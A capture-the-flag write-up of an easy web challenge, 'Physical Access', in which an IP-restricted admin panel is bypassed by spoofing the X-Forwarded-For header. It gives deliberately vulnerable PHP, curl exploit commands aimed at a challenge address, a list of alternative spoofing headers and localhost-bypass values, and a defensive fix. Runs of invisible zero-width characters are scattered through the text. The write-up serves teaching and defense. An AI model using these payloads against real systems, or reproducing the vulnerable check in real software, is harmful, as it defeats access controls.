← Back to Writeups
CUSTOMEasyWeb

Физический доступ (Physical Access)

XESXOR9/10/20263 min read
#web#custom#easy#http-header-ip-spoofing#localhost-access-restriction-b#x-forwarded-for-waf-bypass#linux

Физический доступ (Physical Access)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-20 | Status: Solved Techniques: HTTP Header IP Spoofing, Localhost access restriction bypass, X-Forwarded-For WAF bypass

Summary

Task: Web service with admin panel restricted by IP. Solution: Bypass IP-based access control by spoofing X-Forwarded-For header to 127.0.0.1.

Физический доступ — hackerlab.pro

Description

Недавно наш админ усовершенствовал защиту нашего веб-сервиса, но после его действий мы никак не можем получить доступ к панели администратора. Насколько нам известно, у него всё работает.

Target: http://62.173.140.174:16055

Analysis

Step 1: Exploring the Main Page

When opening the main page, we see the title "Physical Access" — this hints that access is restricted by IP address (requires "physical" access to the server).

Step 2: Finding the Admin Panel

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Discovered endpoint /admin.php, which returns:

Отказано в доступе!

Step 3: Analyzing the Description

Key phrase: "he has it working" — means the admin has access because he works from localhost (127.0.0.1).

Step 4: Identifying the Attack Vector

The server likely checks the client IP via the X-Forwarded-For header, which is used by reverse proxies to pass the real client IP. If the server trusts this header without validation, the IP can be spoofed.

Vulnerability

The server uses the X-Forwarded-For header to determine the client's IP address and trusts it without verification. This allows an attacker to spoof their IP to localhost (127.0.0.1) and bypass IP-based access control. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Typical vulnerable code (PHP):

php
<?php
$client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];

if ($client_ip !== '127.0.0.1') {
    die('Отказано в доступе!');
}

// Admin panel code...
echo $flag;
?>

Solution

Exploitation

bash
curl -H "X-Forwarded-For: 127.0.0.1" "http://62.173.140.174:16055/admin.php"

Result

The server accepts the spoofed IP and returns the admin panel contents with the flag.

Alternative Headers for IP Spoofing

If X-Forwarded-For doesn't work, try: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# Main headers
curl -H "X-Forwarded-For: 127.0.0.1" URL
curl -H "X-Real-IP: 127.0.0.1" URL
curl -H "X-Originating-IP: 127.0.0.1" URL
curl -H "X-Remote-IP: 127.0.0.1" URL
curl -H "X-Remote-Addr: 127.0.0.1" URL
curl -H "X-Client-IP: 127.0.0.1" URL

# Additional variants
curl -H "True-Client-IP: 127.0.0.1" URL
curl -H "CF-Connecting-IP: 127.0.0.1" URL  # Cloudflare
curl -H "Forwarded: for=127.0.0.1" URL     # RFC 7239

# Combination of multiple headers
curl -H "X-Forwarded-For: 127.0.0.1" \
     -H "X-Real-IP: 127.0.0.1" \
     -H "X-Originating-IP: 127.0.0.1" URL

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative IP Values

bash
# Different localhost representations
127.0.0.1
localhost
127.1
127.0.1
0.0.0.0
::1                    # IPv6 localhost
0:0:0:0:0:0:0:1       # IPv6 full form

# Filter bypass
127.0.0.1:80
127.0.0.1%00

Defense

To protect against this attack:

  1. Don't trust headers directly — use only if the request came from a trusted proxy
  2. Whitelist trusted proxies — check REMOTE_ADDR before using X-Forwarded-For
  3. Use the last IP in the chain — X-Forwarded-For may contain multiple IPs ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
php
<?php
// Secure check
$trusted_proxies = ['10.0.0.1', '10.0.0.2'];
$client_ip = $_SERVER['REMOTE_ADDR'];

if (in_array($client_ip, $trusted_proxies) && isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    // Take the last IP in the chain (real client)
    $forwarded = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    $client_ip = trim(end($forwarded));
}
?>

References